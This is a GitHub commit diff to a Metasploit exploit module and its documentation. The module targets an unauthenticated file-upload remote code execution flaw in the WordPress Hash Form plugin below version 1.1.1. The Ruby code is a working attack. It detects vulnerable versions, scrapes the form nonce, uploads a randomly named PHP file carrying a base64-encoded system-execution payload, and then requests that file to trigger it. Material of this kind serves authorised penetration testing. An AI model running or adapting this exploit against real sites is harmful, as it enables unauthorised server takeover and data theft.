Skip to content

Commit 6b12724

Browse files
committed
Add suggestions
1 parent 4fdf6df commit 6b12724

File tree

2 files changed

+35
-40
lines changed

2 files changed

+35
-40
lines changed

documentation/modules/exploit/multi/http/wp_hash_form_rce.md

Lines changed: 8 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -1,18 +1,18 @@
11
## Vulnerable Application
22

33
This Metasploit module exploits a Remote Code Execution vulnerability in WordPress Hash Form
4-
plugin, versions prior to 1.11.
4+
plugin, versions prior to 1.1.1.
55
The vulnerability is due to an unauthenticated file upload flaw in the plugin.
66
To replicate a vulnerable environment for testing:
77

88
1. Install WordPress.
9-
2. Download and install the Hash Form plugin, ensuring the version is below 1.11.
9+
2. Download and install the Hash Form plugin, ensuring the version is below 1.1.1.
1010
3. Verify that the plugin is activated and accessible on the local network.
1111
4. Create any form
1212

1313
## Verification Steps
1414

15-
1. Set up a WordPress instance with the Hash Form plugin (version < 1.11).
15+
1. Set up a WordPress instance with the Hash Form plugin (version < 1.1.1).
1616
2. Launch `msfconsole` in your Metasploit framework.
1717
3. Use the module: `use exploit/multi/http/wp_hash_form_rce`.
1818
4. Set `RHOSTS` to the local IP address or hostname of the target.
@@ -22,39 +22,15 @@ To replicate a vulnerable environment for testing:
2222

2323
## Options
2424

25-
This module offers several options:
26-
27-
#### RHOSTS
28-
29-
- **Description**: Target address or range of addresses.
30-
- **Required**: Yes.
31-
- **Default Value**: None (user must specify).
32-
33-
#### RPORT
34-
35-
- **Description**: Target port (TCP) for the WordPress application.
36-
- **Required**: Yes.
37-
- **Default Value**: 80.
38-
39-
#### SSL
40-
41-
- **Description**: Determines if SSL/TLS should be used.
42-
- **Required**: Yes.
43-
- **Default Value**: False.
44-
45-
#### TARGETURI
46-
47-
- **Description**: Base path of the WordPress application.
48-
- **Required**: Yes.
49-
- **Default Value**: `/`.
25+
No option
5026

5127
## Scenarios
5228

5329
### Successful Exploitation Against Local WordPress with Hash Form 1.10
5430

5531
**Setup**:
5632

57-
- Local WordPress instance with Hash Form version 1.10.
33+
- Local WordPress instance with Hash Form version 1.1.0.
5834
- Metasploit Framework.
5935

6036
**Steps**:
@@ -64,9 +40,9 @@ This module offers several options:
6440
```
6541
use exploit/multi/http/wp_hash_form_rce
6642
```
67-
4. Set `RHOSTS` to the local IP (e.g., 192.168.1.11).
68-
5. Configure other necessary options (TARGETURI, SSL, etc.).
69-
6. Launch the exploit:
43+
3. Set `RHOSTS` to the local IP (e.g., 192.168.1.11).
44+
4. Configure other necessary options (TARGETURI, SSL, etc.).
45+
5. Launch the exploit:
7046
```
7147
exploit
7248
```

modules/exploits/multi/http/wp_hash_form_rce.rb

Lines changed: 27 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -6,8 +6,10 @@
66
class MetasploitModule < Msf::Exploit::Remote
77
Rank = ExcellentRanking
88

9+
include Msf::Payload::Php
910
include Msf::Exploit::Remote::HttpClient
1011
include Msf::Exploit::Remote::HTTP::Wordpress
12+
1113
prepend Msf::Exploit::Remote::AutoCheck
1214

1315
def initialize(info = {})
@@ -72,11 +74,15 @@ def check
7274
return CheckCode::Unknown('WordPress does not appear to be online.') unless wordpress_and_online?
7375

7476
plugin_check_code = check_plugin_version_from_readme('hash-form', '1.1.1')
75-
return CheckCode::Unknown('Hash Form plugin does not appear to be installed.') unless plugin_check_code
76-
return CheckCode::Detected('Hash Form plugin is installed but the version is unknown.') if plugin_check_code.code == 'detected'
77+
78+
if plugin_check_code.code == CheckCode::Unknown.code
79+
return CheckCode::Unknown('Hash Form plugin does not appear to be installed.')
80+
end
81+
82+
return CheckCode::Detected('Hash Form plugin is installed but the version is unknown.') if plugin_check_code.code == CheckCode::Detected.code
7783

7884
plugin_version = plugin_check_code.details[:version]
79-
return CheckCode::Safe("Hash Form plugin is version: #{plugin_version}, which is not vulnerable.") unless plugin_check_code.code == 'appears'
85+
return CheckCode::Safe("Hash Form plugin is version: #{plugin_version}, which is not vulnerable.") unless plugin_check_code.code == CheckCode::Appears.code
8086

8187
print_good("Detected Hash Form plugin version: #{plugin_version}")
8288
CheckCode::Appears
@@ -111,15 +117,28 @@ def get_nonce
111117

112118
return nil unless res && res.code == 200
113119

114-
script_content = res.body.match(%r{<script id="frontend-js-extra"[^>]*>([\s\S]*?)</script>})
115-
return nil unless script_content && script_content[1]
120+
script_content = res.get_html_document.xpath('//script[@id="frontend-js-extra"]').text
121+
return nil unless script_content
116122

117-
nonce_match = script_content[1].match(/"ajax_nounce":"([a-f0-9]+)"/)
123+
nonce_match = script_content.match(/"ajax_nounce":"([a-f0-9]+)"/)
118124
nonce_match ? nonce_match[1] : nil
119125
end
120126

127+
def php_exec_cmd(encoded_payload)
128+
dis = '$' + Rex::Text.rand_text_alpha(rand(4..7))
129+
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
130+
131+
shell = <<-END_OF_PHP_CODE
132+
#{php_preamble(disabled_varname: dis)}
133+
$c = base64_decode("#{encoded_clean_payload}");
134+
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
135+
END_OF_PHP_CODE
136+
137+
return Rex::Text.compress(shell)
138+
end
139+
121140
def upload_php_file(nonce)
122-
file_content = "<?php #{target['Arch'] == ARCH_PHP ? payload.encoded : "system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));"} ?>"
141+
file_content = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
123142
file_name = "#{Rex::Text.rand_text_alpha_lower(8)}.php"
124143

125144
res = send_request_cgi({
@@ -144,7 +163,7 @@ def upload_php_file(nonce)
144163
end
145164

146165
def trigger_payload(url)
147-
print_status("Triggering the payload at #{url}...")
166+
print_status('Triggering the payload...')
148167
uri = URI.parse(url)
149168
send_request_cgi({
150169
'method' => 'GET',

0 commit comments

Comments
 (0)